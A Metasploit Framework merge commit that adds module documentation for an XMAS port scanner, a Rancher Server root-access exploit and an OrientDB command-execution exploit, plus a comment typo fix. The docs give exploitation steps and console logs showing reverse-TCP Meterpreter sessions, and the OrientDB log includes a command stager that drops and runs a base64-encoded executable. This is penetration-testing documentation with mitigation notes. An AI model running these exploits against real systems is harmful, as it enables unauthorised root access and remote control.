Merging to prep for testing
Merge branch 'master' of github.com:rapid7/metasploit-framework into upstream-masterbug/bundler_fix
commit
fc5ab96ad6
|
@ -0,0 +1,91 @@
|
|||
# Description
|
||||
|
||||
This module is used to determine if the ports on target machine are closed. It sends probes containing the FIN, PSH and URG flags. Scan is faster and stealthier compared to some other scans. Following action are performed depending on the state of ports -
|
||||
|
||||
#### OPEN|FILTERED Port:
|
||||
Detects open|filtered port via no response to the segment
|
||||
|
||||
#### Closed Port:
|
||||
Detects a closed port via a RST received in response to the FIN
|
||||
|
||||
# Required Permissions
|
||||
|
||||
XMAS scan requires the use of raw sockets, and thus cannot be performed from some Windows
|
||||
systems (Windows XP SP 2, for example). On Unix and Linux, raw socket manipulations require root privileges.
|
||||
|
||||
# Options
|
||||
|
||||
**PORTS**
|
||||
|
||||
This is the list of TCP ports to test on each host.
|
||||
Formats like `1-3`, `1,2,3`, `1,2-3`, etc. are all supported. Default
|
||||
options is to scan `1-10000` ports.
|
||||
|
||||
**Timeout**
|
||||
|
||||
This options states the reply read timeout in milliseconds. Default value if `500`.
|
||||
|
||||
**RHOSTS**
|
||||
|
||||
The target address range is defined in this option.
|
||||
|
||||
**VERBOSE**
|
||||
|
||||
Gives detailed message about the scan of all the ports. It also shows the
|
||||
ports that were not open/filtered.
|
||||
|
||||
# Verification Steps
|
||||
|
||||
1. Do: `use auxiliary/scanner/portscan/xmas`
|
||||
2. Do: `set RHOSTS [IP]`
|
||||
3. Do: `set PORTS [PORTS]`
|
||||
4. Do: `run`
|
||||
5. The open/filtered ports will be discovered, status will be printed indicating as such.
|
||||
|
||||
# Scenarios
|
||||
|
||||
### Metaspliotable 2
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/portscan/xmas
|
||||
msf auxiliary(xmas) > set rhosts 192.168.45.159
|
||||
rhosts => 192.168.45.159
|
||||
msf auxiliary(xmas) > set ports 1-100
|
||||
ports => 1-100
|
||||
msf auxiliary(xmas) > run
|
||||
|
||||
[*] TCP OPEN|FILTERED 192.168.45.159:1
|
||||
[*] TCP OPEN|FILTERED 192.168.45.159:3
|
||||
[*] TCP OPEN|FILTERED 192.168.45.159:5
|
||||
[*] TCP OPEN|FILTERED 192.168.45.159:8
|
||||
[*] TCP OPEN|FILTERED 192.168.45.159:12
|
||||
[*] TCP OPEN|FILTERED 192.168.45.159:14
|
||||
[*] TCP OPEN|FILTERED 192.168.45.159:16
|
||||
[*] TCP OPEN|FILTERED 192.168.45.159:19
|
||||
[*] TCP OPEN|FILTERED 192.168.45.159:21
|
||||
[*] TCP OPEN|FILTERED 192.168.45.159:37
|
||||
[*] TCP OPEN|FILTERED 192.168.45.159:39
|
||||
[*] TCP OPEN|FILTERED 192.168.45.159:41
|
||||
[*] TCP OPEN|FILTERED 192.168.45.159:43
|
||||
[*] TCP OPEN|FILTERED 192.168.45.159:49
|
||||
[*] TCP OPEN|FILTERED 192.168.45.159:52
|
||||
[*] TCP OPEN|FILTERED 192.168.45.159:53
|
||||
[*] TCP OPEN|FILTERED 192.168.45.159:55
|
||||
[*] TCP OPEN|FILTERED 192.168.45.159:57
|
||||
[*] TCP OPEN|FILTERED 192.168.45.159:59
|
||||
[*] TCP OPEN|FILTERED 192.168.45.159:61
|
||||
[*] TCP OPEN|FILTERED 192.168.45.159:63
|
||||
[*] TCP OPEN|FILTERED 192.168.45.159:65
|
||||
[*] TCP OPEN|FILTERED 192.168.45.159:67
|
||||
[*] TCP OPEN|FILTERED 192.168.45.159:69
|
||||
[*] TCP OPEN|FILTERED 192.168.45.159:73
|
||||
[*] TCP OPEN|FILTERED 192.168.45.159:89
|
||||
[*] TCP OPEN|FILTERED 192.168.45.159:91
|
||||
[*] TCP OPEN|FILTERED 192.168.45.159:93
|
||||
[*] TCP OPEN|FILTERED 192.168.45.159:95
|
||||
[*] TCP OPEN|FILTERED 192.168.45.159:97
|
||||
[*] TCP OPEN|FILTERED 192.168.45.159:99
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
```
|
|
@ -0,0 +1,169 @@
|
|||
# Vulnerable Application
|
||||
Utilizing Rancher Server, an attacker can create a docker container
|
||||
with the '/' path mounted with read/write permissions on the host
|
||||
server that is running the docker container. As the docker container
|
||||
executes command as uid 0 it is honored by the host operating system
|
||||
allowing the attacker to edit/create files owned by root. This exploit
|
||||
abuses this to creates a cron job in the '/etc/cron.d/' path of the
|
||||
host server.
|
||||
|
||||
The Docker image should exist on the target system or be a valid image
|
||||
from hub.docker.com.
|
||||
|
||||
Use `check` with verbose mode to get a list of exploitable Rancher
|
||||
Hosts managed by the target system.
|
||||
|
||||
## Rancher setup
|
||||
Rancher is deployed as a set of Docker containers. Running Rancher is
|
||||
as simple as launching two containers. One container as the management
|
||||
server and another container on a node as an agent.
|
||||
|
||||
This module was tested with Debian 9 and CentOS 7 as the host operating
|
||||
system with Docker 17.06.1-ce and Rancher Server 1.6.2, all with
|
||||
default installation.
|
||||
|
||||
### Install Debian 9
|
||||
First [install Debian 9][1] with default task selection. This includes
|
||||
the "*standard system utilities*".
|
||||
|
||||
### Install Docker CE
|
||||
Then install a supported version of [Docker on Debian system][2].
|
||||
|
||||
```bash
|
||||
# TL;DR
|
||||
apt-get remove docker docker-engine
|
||||
apt-get install apt-transport-https ca-certificates curl gnupg2 software-properties-common
|
||||
curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -
|
||||
apt-key fingerprint 0EBFCD88
|
||||
# Verify that the key ID is 9DC8 5822 9FC7 DD38 854A E2D8 8D81 803C 0EBF CD88.
|
||||
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable"
|
||||
apt-get update
|
||||
apt-get install docker-ce
|
||||
docker run hello-world
|
||||
```
|
||||
|
||||
### Rancher Server (Management)
|
||||
I recommend doing a ['Rancher Server - Single Container (NON-HA)'
|
||||
installation][3].
|
||||
|
||||
If Docker is installed, the command to start a single instance of
|
||||
Rancher is simple.
|
||||
|
||||
```bash
|
||||
# TL;DR
|
||||
sudo docker run -d --restart=unless-stopped -p 8080:8080 rancher/server
|
||||
```
|
||||
|
||||
If all is passing navigate to `http://[ip]:8080/`. You should see the
|
||||
Rancher Server UI web application.
|
||||
|
||||
### Rancher Host (Agent)
|
||||
|
||||
Add a [new host][4] to Rancher Server so that the Docker host can be managed.
|
||||
|
||||
**Set Host Registration URL**
|
||||
|
||||
The first time that you add a host, you may be required to set up the
|
||||
Host Registration URL.
|
||||
|
||||
* Navigate to Admin / Settings (`http://[ip]:8080/admin/settings`)
|
||||
* Check if `"http://[ip]:8080/"` is set
|
||||
* Click on Save.
|
||||
|
||||
**Add new host**
|
||||
|
||||
* Navigate to Infrastructure / Hosts (`http://[ip]:8080/env/1a5/infra/hosts`)
|
||||
* Click on Add Host
|
||||
* Copy the command from Point 5 (and remove sudo prefix)
|
||||
`docker run --rm --privileged -v /var/run/docker.sock:/var/run/docker.sock -v /var/lib/rancher:/var/lib/rancher rancher/agent:v1.2.2 http://[ip]:8080/v1/scripts/XXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXX`
|
||||
* Paste and run the command on the host
|
||||
|
||||
The new host should pop up on the Hosts screen within a minute.
|
||||
|
||||
# Exploitation
|
||||
This module is designed to gain root access on a Rancher Host.
|
||||
|
||||
## Options
|
||||
- CONTAINER_ID if you want to have a human readable name for your container, otherwise it will be randomly generated.
|
||||
- DOCKERIMAGE is the local image or hub.docker.com available image you want to have Rancher to deploy for this exploit.
|
||||
- TARGETENV this is the target Rancher Environment. The default environment is `1a5`.
|
||||
- TARGETHOST is the target Rancher Host. The default host is `1h1`.
|
||||
|
||||
By default access control is disabled, but if enabled, you need API
|
||||
Keys with at least "restrictive" permission in the environment.
|
||||
See Rancher docs for [api-keys][5] and [membership-roles][6].
|
||||
|
||||
- HttpUsername is for your Access Key
|
||||
- HttpPassword is for your Secret Key
|
||||
|
||||
Advanced Options
|
||||
- TARGETURI this is the Rancher API base path. The default environment is `/v1/projects`.
|
||||
- WAIT_TIMEOUT is how long you will wait for a docker container to deploy before bailing out if it does not start.
|
||||
|
||||
## Steps to exploit with module
|
||||
- [ ] Start msfconsole
|
||||
- [ ] use exploit/linux/http/rancher_server
|
||||
- [ ] Set the options appropriately and set VERBOSE to true
|
||||
- [ ] Verify it creates a docker container and it successfully runs
|
||||
- [ ] After a minute a session should be opened from the agent server
|
||||
|
||||
## Example Output
|
||||
```
|
||||
msf > use exploit/linux/http/rancher_server
|
||||
msf exploit(rancher_server) > set RHOST 192.168.91.111
|
||||
RHOST => 192.168.91.111
|
||||
msf exploit(rancher_server) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
|
||||
PAYLOAD => linux/x64/meterpreter/reverse_tcp
|
||||
msf exploit(rancher_server) > set LHOST 192.168.91.1
|
||||
LHOST => 192.168.91.1
|
||||
msf exploit(rancher_server) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
msf exploit(rancher_server) > check
|
||||
|
||||
[+] Rancher Host "rancher" (TARGETHOST 1h1) on Environment "Default" (TARGETENV 1a5) found <-- targeted
|
||||
[*] 192.168.91.111:8080 The target is vulnerable.
|
||||
msf exploit(rancher_server) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.91.1:4444
|
||||
[*] Setting container json request variables
|
||||
[*] Creating the docker container command
|
||||
[+] The docker container is created, waiting for it to deploy
|
||||
[*] Waiting up to 60 seconds for docker container to start
|
||||
[+] The docker container has stopped, now trying to remove it
|
||||
[+] The docker container has been removed.
|
||||
[*] Waiting for the cron job to run, can take up to 60 seconds
|
||||
[*] Sending stage (40747 bytes) to 192.168.91.111
|
||||
[*] Meterpreter session 1 opened (192.168.91.1:4444 -> 192.168.91.111:49948) at 2017-07-27 22:18:00 +0200
|
||||
[+] Deleted /etc/cron.d/wlHVKGMA
|
||||
[+] Deleted /tmp/jxKUxUyN
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : rancher
|
||||
OS : Debian 9.1 (Linux 4.9.0-3-amd64)
|
||||
Architecture : x64
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
## Exploit Detection
|
||||
Rancher Server has an [audit log][7]. While running this module two
|
||||
events (create and delete) were logged. Even though the container is
|
||||
deleted, its still able to be viewed from the link in the audit log.
|
||||
|
||||
## Mitigation
|
||||
* Do not deploy a Rancher Host on the same host where the Rancher
|
||||
Server is. Your entire rancher infrastructure is in [danger][8].
|
||||
* Only allow trusted users to have more permissions than read-only.
|
||||
|
||||
Docker protection such as Username Namespaces could not be applied
|
||||
because Rancher Agents run as a privileged container.
|
||||
|
||||
|
||||
[1]:https://www.debian.org/releases/stretch/amd64/index.html.en
|
||||
[2]:https://docs.docker.com/engine/installation/linux/docker-ce/debian/
|
||||
[3]:https://rancher.com/docs/rancher/v1.6/en/installing-rancher/installing-server/#launching-rancher-server---single-container-non-ha
|
||||
[4]:https://rancher.com/docs/rancher/v1.6/en/hosts/#adding-a-host
|
||||
[5]:https://rancher.com/docs/rancher/v1.6/en/api/v2-beta/api-keys/
|
||||
[6]:https://rancher.com/docs/rancher/v1.6/en/environments/#membership-roles
|
||||
[7]:https://rancher.com/docs/rancher/v1.6/en/rancher-services/audit-log/
|
||||
[8]:https://rancher.com/docs/rancher/v1.6/en/faqs/troubleshooting/#help-i-turned-on-access-controldocsrancherv16enconfigurationaccess-control-and-can-no-longer-access-rancher-how-do-i-reset-rancher-to-disable-access-control
|
||||
[9]:https://rancher.com/docs/rancher/v1.6/en/installing-rancher/selinux/
|
|
@ -0,0 +1,91 @@
|
|||
This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands.
|
||||
|
||||
All versions from 2.2.2 up to 2.2.22 should be vulnerable.
|
||||
|
||||
The module is based on the public PoC found here: [securiteam](https://blogs.securiteam.com/index.php/archives/3318)
|
||||
|
||||
## Vulnerable Application
|
||||
OrientDB 2.2.2 <= 2.2.22
|
||||
|
||||
## Installation
|
||||
Download a vulnerable OrientDB version here: [orientdb](http://orientdb.com/download-previous/)
|
||||
|
||||
```
|
||||
wget http://orientdb.com/download.php?file=orientdb-community-2.2.20.zip&os=multi
|
||||
unzip orientdb-community-2.2.20.zip
|
||||
chmod 755 bin/*.sh
|
||||
chmod -R 777 config
|
||||
cd bin
|
||||
./server.sh
|
||||
```
|
||||
|
||||
## References for running OrientDB
|
||||
|
||||
[Install](http://orientdb.com/docs/2.0/orientdb.wiki/Tutorial-Installation.html)
|
||||
|
||||
[Run](http://orientdb.com/docs/2.0/orientdb.wiki/Tutorial-Run-the-server.html)
|
||||
|
||||
## References for vulnerability
|
||||
|
||||
[securiteam](https://blogs.securiteam.com/index.php/archives/3318)
|
||||
[palada](http://www.palada.net/index.php/2017/07/13/news-2112/)
|
||||
[github](https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. `use exploit/multi/http/orientdb_exec`
|
||||
3. `set rhost <RHOST>`
|
||||
4. `set target <TARGET_NUMBER>`
|
||||
5. `set workspace <WORKSPACE>`
|
||||
6. `check`
|
||||
7. **Verify** if the OrientDB instance is vulnerable
|
||||
8. `run`
|
||||
9. **Verify** you get a session
|
||||
|
||||
## Example Output
|
||||
|
||||
### OrientDB 2.2.20 on Windows XP
|
||||
|
||||
```
|
||||
msf > use exploit/multi/http/orientdb_exec
|
||||
msf exploit(orientdb_exec) > set rhost 2.2.2.2
|
||||
rhost => 2.2.2.2
|
||||
msf exploit(orientdb_exec) > set target 2
|
||||
target => 2
|
||||
msf exploit(orientdb_exec) > check
|
||||
|
||||
[+] Version: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
|
||||
[+] 2.2.2.2:2480 The target is vulnerable.
|
||||
msf exploit(orientdb_exec) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(orientdb_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] 2.2.2.2:2480 - Sending command stager...
|
||||
[*] Attempting to execute: echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACTOPDW11mehddZnoXXWZ6FrEWShdNZnoVURZCF3lmehbhGlIXcWZ6FuEaahdRZnoXXWZ+FHlmehVRRw4XfWZ6Fg3quhf9ZnoUQX5iF1lmehVJpY2jXWZ6FAAAAAAAAAAAAAAAAAAAAAFBFAABMAQQAWNfbSQAAAAAAAAAA4AAPAQsBBgAAsAAAAKAAAAAAAAByMQAAABAAAADAAAAAAEAAABAAAAAQAAAEAAAAAAAAAAQAAAAAAAAAAGABAAAQAAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAbMcAAHgAAAAAUAEAyAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAODBAAAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAADgAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAABmqQAAABAAAACwAAAAEAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAA5g8AAADAAAAAEAAAAMAAAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAAFxwAAAA0AAAAEAAAADQAAAAAAAAAAAAAAAAAABAAADALnJzcmMAAADIBwAAAFABAAAQAAAAEAEAAAAAAAAAAAAAAAAAQAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>>%TEMP%\aAqsZ.b64
|
||||
[*] Command Stager progress - 2.01% done (2046/101881 bytes)
|
||||
[*] Attempting to execute: echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>>%TEMP%\aAqsZ.b64
|
||||
[*] Command Stager progress - 4.02% done (4092/101881 bytes)
|
||||
```
|
||||
|
||||
...snip...
|
||||
|
||||
```
|
||||
[*] Attempting to execute: echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATkIxMAAAAAA2gMFKAQAAAEM6XGxvY2FsMFxhc2ZccmVsZWFzZVxidWlsZC0yLjIuMTRcc3VwcG9ydFxSZWxlYXNlXGFiLnBkYgA=>>%TEMP%\aAqsZ.b64 & echo Set fs = CreateObject("Scripting.FileSystemObject") >>%TEMP%\uFLQh.vbs & echo Set file = fs.GetFile("%TEMP%\aAqsZ.b64") >>%TEMP%\uFLQh.vbs & echo If file.Size Then >>%TEMP%\uFLQh.vbs & echo Set fd = fs.OpenTextFile("%TEMP%\aAqsZ.b64", 1) >>%TEMP%\uFLQh.vbs & echo data = fd.ReadAll >>%TEMP%\uFLQh.vbs & echo data = Replace(data, vbCrLf, "") >>%TEMP%\uFLQh.vbs & echo data = base64_decode(data) >>%TEMP%\uFLQh.vbs & echo fd.Close >>%TEMP%\uFLQh.vbs & echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("%TEMP%\tIzcO.exe", 2, True) >>%TEMP%\uFLQh.vbs & echo ofs.Write data >>%TEMP%\uFLQh.vbs & echo ofs.close >>%TEMP%\uFLQh.vbs & echo Set shell = CreateObject("Wscript.Shell") >>%TEMP%\uFLQh.vbs
|
||||
[*] Command Stager progress - 98.40% done (100252/101881 bytes)
|
||||
[*] Attempting to execute: echo shell.run "%TEMP%\tIzcO.exe", 0, false >>%TEMP%\uFLQh.vbs & echo Else >>%TEMP%\uFLQh.vbs & echo Wscript.Echo "The file is empty." >>%TEMP%\uFLQh.vbs & echo End If >>%TEMP%\uFLQh.vbs & echo Function base64_decode(byVal strIn) >>%TEMP%\uFLQh.vbs & echo Dim w1, w2, w3, w4, n, strOut >>%TEMP%\uFLQh.vbs & echo For n = 1 To Len(strIn) Step 4 >>%TEMP%\uFLQh.vbs & echo w1 = mimedecode(Mid(strIn, n, 1)) >>%TEMP%\uFLQh.vbs & echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>%TEMP%\uFLQh.vbs & echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>%TEMP%\uFLQh.vbs & echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>%TEMP%\uFLQh.vbs & echo If Not w2 Then _ >>%TEMP%\uFLQh.vbs & echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>%TEMP%\uFLQh.vbs & echo If Not w3 Then _ >>%TEMP%\uFLQh.vbs & echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>%TEMP%\uFLQh.vbs & echo If Not w4 Then _ >>%TEMP%\uFLQh.vbs & echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>%TEMP%\uFLQh.vbs & echo Next >>%TEMP%\uFLQh.vbs & echo base64_decode = strOut >>%TEMP%\uFLQh.vbs & echo End Function >>%TEMP%\uFLQh.vbs & echo Function mimedecode(byVal strIn) >>%TEMP%\uFLQh.vbs & echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>%TEMP%\uFLQh.vbs & echo If Len(strIn) = 0 Then >>%TEMP%\uFLQh.vbs & echo mimedecode = -1 : Exit Function >>%TEMP%\uFLQh.vbs & echo Else >>%TEMP%\uFLQh.vbs & echo mimedecode = InStr(Base64Chars, strIn) - 1 >>%TEMP%\uFLQh.vbs & echo End If >>%TEMP%\uFLQh.vbs & echo End Function >>%TEMP%\uFLQh.vbs & cscript //nologo %TEMP%\uFLQh.vbs & del %TEMP%\uFLQh.vbs & del %TEMP%\aAqsZ.b64
|
||||
[*] Command Stager progress - 100.00% done (101881/101881 bytes)
|
||||
[*] Sending stage (956991 bytes) to 2.2.2.2
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:1422) at 2017-10-06 14:00:14 -0400
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : WINXP
|
||||
OS : Windows XP (Build 2600, Service Pack 3).
|
||||
Architecture : x86
|
||||
System Language : en_US
|
||||
Domain : GROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/windows
|
||||
meterpreter >
|
||||
```
|
|
@ -479,7 +479,7 @@ class Db
|
|||
'SortIndex' => order_by
|
||||
})
|
||||
|
||||
# Sentinal value meaning all
|
||||
# Sentinel value meaning all
|
||||
host_ranges.push(nil) if host_ranges.empty?
|
||||
|
||||
case
|
||||
|
@ -717,7 +717,7 @@ class Db
|
|||
'SortIndex' => order_by
|
||||
})
|
||||
|
||||
# Sentinal value meaning all
|
||||
# Sentinel value meaning all
|
||||
host_ranges.push(nil) if host_ranges.empty?
|
||||
ports = nil if ports.empty?
|
||||
|
||||
|
@ -1115,7 +1115,7 @@ class Db
|
|||
def cmd_loot_help
|
||||
print_line "Usage: loot <options>"
|
||||
print_line " Info: loot [-h] [addr1 addr2 ...] [-t <type1,type2>]"
